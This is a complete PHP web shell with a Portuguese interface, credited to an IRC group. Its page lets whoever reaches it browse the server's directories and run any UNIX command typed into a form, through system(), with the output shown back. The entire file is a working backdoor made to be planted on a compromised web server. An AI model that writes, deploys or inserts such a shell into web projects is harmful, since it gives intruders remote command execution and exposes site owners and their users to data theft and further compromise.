<?php
if (isset($work_dir)) {
  chdir($work_dir);
  $work_dir = exec("pwd");
} else {
  chdir($DOCUMENT_ROOT);
  $work_dir = $DOCUMENT_ROOT;
}
?>
<form name="myform" action="<?php echo $PHP_SELF ?>" method="post">
<p>DIR atual de localização: <b>
<?php
$work_dir_splitted = explode("/", substr($work_dir, 1));
echo "<a href=\"$PHP_SELF?work_dir=" . urlencode($url) . "/&command=" . urlencode($command) . "\">Root</a>/";
if ($work_dir_splitted[0] == "") {
    $work_dir = "/";
} else {
  for ($i = 0; $i < count($work_dir_splitted); $i++) {
    $url .= "/".$work_dir_splitted[$i];
    echo "<a href=\"$PHP_SELF?work_dir=" . urlencode($url) . "&command=" . urlencode($command) . "\">$work_dir_splitted[$i]</a>/";
  }
}                           
?></b></p>
<p>Selecione um DIR abaixo:</p>
<select name="work_dir" onChange="this.form.submit()">
<?php
$dir_handle = opendir($work_dir);
while ($dir = readdir($dir_handle)) {
  if (is_dir($dir)) {
    if ($dir == ".") {
      echo "<option value=\"$work_dir\" selected>DIR Atual</option>\n";
    } elseif ($dir == "..") {
      if (strlen($work_dir) == 1) {
      } elseif (strrpos($work_dir, "/") == 0) {
      echo "<option value=\"/\">Voltar DIR</option>\n";
      } else {
      echo "<option value=\"". strrev(substr(strstr(strrev($work_dir), "/"), 1)) ."\">Voltar DIR</option>\n";
      }
    } else {
      if ($work_dir == "/") {
        echo "<option value=\"$work_dir$dir\">$dir</option>\n";
      } else {
        echo "<option value=\"$work_dir/$dir\">$dir</option>\n";
      }
    }
  }
}
  closedir($dir_handle);
?>
</select><hr><p>Comando UNIX desejado:</p><input type="text" name="command" size="60" <?php if ($command) { echo "value=\"$command\"";} ?> > <input name="submit_btn"
type="submit" value="Executar"></p><p><hr><code>Exibir resposta</code>? <input type="checkbox" name="stderr"></p><p>Resposta do servidor:</p><textarea cols="80" rows="20" readonly>
<?php
if ($command) {
  if ($stderr) {
    system($command . " 1> /tmp/output.txt 2>&1; cat /tmp/output.txt; rm /tmp/output.txt");
  } else {
    system($command);
  }
}
?>
</textarea></form>
<br><p align="center"><a href="http://www.F4keLive.rg3.net">www.F4keLive.rg3.net</a><br>#F4keLive ::: irc.brasnet.org</p>
